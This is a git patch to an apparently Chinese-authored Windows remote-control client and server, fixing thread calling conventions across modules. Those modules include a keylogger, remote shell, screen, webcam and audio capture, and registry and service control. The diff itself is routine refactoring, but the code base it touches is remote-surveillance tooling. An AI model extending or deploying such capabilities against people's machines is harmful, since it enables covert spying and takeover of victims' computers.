From 53f2bbed7341bb9470197ae5c44781d85e169fe9 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 30 Mar 2025 20:18:18 +0800 Subject: [PATCH] fix: #51 Different function calling convention --- client/Audio.cpp | 2 +- client/AudioManager.cpp | 3 +-- client/AudioManager.h | 2 +- client/ClientDll.cpp | 4 ++-- client/Common.cpp | 24 ------------------------ client/Common.h | 9 +-------- client/IOCPClient.cpp | 2 +- client/KernelManager.cpp | 22 +++++++++++----------- client/KeyboardManager.cpp | 4 ++-- client/ScreenManager.cpp | 2 +- client/ShellManager.cpp | 3 +-- client/VideoManager.cpp | 3 +-- client/VideoManager.h | 2 +- server/2015Remote/AudioDlg.cpp | 2 +- server/2015Remote/AudioDlg.h | 2 +- server/2015Remote/IOCPServer.cpp | 6 +++--- 16 files changed, 29 insertions(+), 63 deletions(-) diff --git a/client/Audio.cpp b/client/Audio.cpp index a23448a..42b71af 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -109,7 +109,7 @@ BOOL CAudio::InitializeWaveIn() DWORD dwThreadID = 0; m_hThreadCallBack = m_Thread = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, + waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); //打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲 diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 7af8292..f350918 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -33,8 +33,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag WaitForDialogOpen(); //等待对话框打开 szPacket = NULL; - m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, - (LPVOID)this, 0, NULL); + m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); } diff --git a/client/AudioManager.h b/client/AudioManager.h index 89d32a4..9893eea 100644 --- a/client/AudioManager.h +++ b/client/AudioManager.h @@ -22,7 +22,7 @@ public: virtual ~CAudioManager(); BOOL m_bIsWorking; HANDLE m_hWorkThread; - static DWORD WorkThread(LPVOID lParam); + static DWORD WINAPI WorkThread(LPVOID lParam); BOOL SendRecordBuffer(); CAudio* m_AudioObject; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 5275a11..ba50601 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -143,7 +143,7 @@ int main(int argc, const char *argv[]) do{ g_bExit = 0; - HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); @@ -186,7 +186,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) } g_SETTINGS.SetType(CLIENT_TYPE_DLL); - HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL); if (hThread == NULL) { return; } diff --git a/client/Common.cpp b/client/Common.cpp index 99f6a14..8b9695d 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -16,30 +16,6 @@ extern CONNECT_ADDRESS g_SETTINGS; -HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, - SIZE_T dwStackSize, - LPTHREAD_START_ROUTINE StartAddress, - LPVOID lParam, - DWORD dwCreationFlags, - LPDWORD ThreadId, bool bInteractive) -{ - HANDLE hThread = INVALID_HANDLE_VALUE; - THREAD_ARG_LIST ThreadArgList = {0}; - ThreadArgList.StartAddress = StartAddress; - ThreadArgList.lParam = (void *)lParam; //IP - ThreadArgList.bInteractive = bInteractive; //?? - ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL); - hThread = (HANDLE)CreateThread(SecurityAttributes, - dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, - dwCreationFlags, (LPDWORD)ThreadId); - if (ThreadArgList.hEvent != NULL) { - WaitForSingleObject(ThreadArgList.hEvent, INFINITE); - CloseHandle(ThreadArgList.hEvent); - } - - return hThread; -} - DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; diff --git a/client/Common.h b/client/Common.h index 28768e5..66902ab 100644 --- a/client/Common.h +++ b/client/Common.h @@ -16,14 +16,7 @@ typedef struct UserParam BYTE* buffer; int length; ~UserParam() { SAFE_DELETE_ARRAY(buffer); } -}UserParam; - -HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //安全属性 - SIZE_T dwStackSize, //线程栈的大小 0 - LPTHREAD_START_ROUTINE StartAddress, //线程函数回调入口 MyMain - LPVOID lParam, //char* strHost IP - DWORD dwCreationFlags, //0 4 - LPDWORD ThreadId, bool bInteractive=FALSE); +}UserParam; DWORD WINAPI ThreadProc(LPVOID lParam); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 7dc6e5e..9d93c7c 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -163,7 +163,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } if (m_hWorkThread == NULL){ m_hWorkThread = (HANDLE)CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL); + WorkThreadProc,(LPVOID)this, 0, NULL); m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; } Mprintf("连接服务端成功.\n"); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 510c50d..ecf089d 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -120,7 +120,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_KEYBOARD: //键盘记录 { m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)LoopKeyboardManager, + LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -128,7 +128,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TALK: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopTalkManager, + LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -136,7 +136,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SHELL: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopShellManager, + LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -144,7 +144,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SYSTEM: //远程进程管理 { m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)LoopProcessManager, + LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -152,7 +152,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_WSLIST: //远程窗口管理 { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopWindowManager, + LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -183,7 +183,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopScreenManager, + LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -191,7 +191,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_LIST_DRIVE : { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopFileManager, + LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -199,7 +199,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_WEBCAM: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopVideoManager, + LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -207,7 +207,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_AUDIO: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopAudioManager, + LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -215,7 +215,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_REGEDIT: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopRegisterManager, + LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -223,7 +223,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SERVICES: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - (LPTHREAD_START_ROUTINE)LoopServicesManager, + LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 9e2cb4f..132af52 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -28,8 +28,8 @@ CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) m_bIsWorking = true; dKeyBoardSize = 0; - m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL); - m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL); + m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); + m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); } CKeyboardManager1::~CKeyboardManager1() diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 2dd835a..9f7c02e 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -60,7 +60,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo)); m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo); - m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); + m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index b20049c..63701a9 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -100,8 +100,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag WaitForDialogOpen(); - m_hThreadRead = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL); + m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL); } DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 510894b..97c46cd 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -22,8 +22,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan m_CapVideo.Open(0,0); // 开启 lpBuffer = NULL; - m_hWorkThread = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL); + m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL); } diff --git a/client/VideoManager.h b/client/VideoManager.h index 6502a24..d1c59ac 100644 --- a/client/VideoManager.h +++ b/client/VideoManager.h @@ -24,7 +24,7 @@ public: void SendBitMapInfor(); BOOL SendNextScreen(); - static DWORD WorkThread(LPVOID lParam); + static DWORD WINAPI WorkThread(LPVOID lParam); CCaptureVideo m_CapVideo; VOID OnReceive(PBYTE szBuffer, ULONG ulLength); diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 15123c1..503d088 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -67,7 +67,7 @@ BOOL CAudioDlg::OnInitDialog() m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); //启动线程 判断CheckBox - m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL); + m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); m_bThreadRun = m_hWorkThread ? TRUE : FALSE; diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 862faf1..1c8e61b 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -22,7 +22,7 @@ public: HANDLE m_hWorkThread; CAudio m_AudioObject; - static DWORD CAudioDlg::WorkThread(LPVOID lParam); + static DWORD WINAPI WorkThread(LPVOID lParam); void CAudioDlg::OnReceiveComplete(void); // 对话框数据 diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index c6ed935..c60cfa8 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -261,7 +261,7 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U m_hListenThread = (HANDLE)CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)ListenThreadProc, + ListenThreadProc, (void*)this, //向Thread回调函数传入this 方便我们的线程回调访问类中的成员 0, NULL); @@ -314,7 +314,7 @@ BOOL IOCPServer::InitializeIOCP(VOID) { hWorkThread = (HANDLE)CreateThread(NULL, //创建工作线程目的是处理投递到完成端口中的任务 0, - (LPTHREAD_START_ROUTINE)WorkThreadProc, + WorkThreadProc, (void*)this, 0, NULL); @@ -385,7 +385,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) { HANDLE hThread = (HANDLE)CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)WorkThreadProc, + WorkThreadProc, (void*)This, 0, NULL);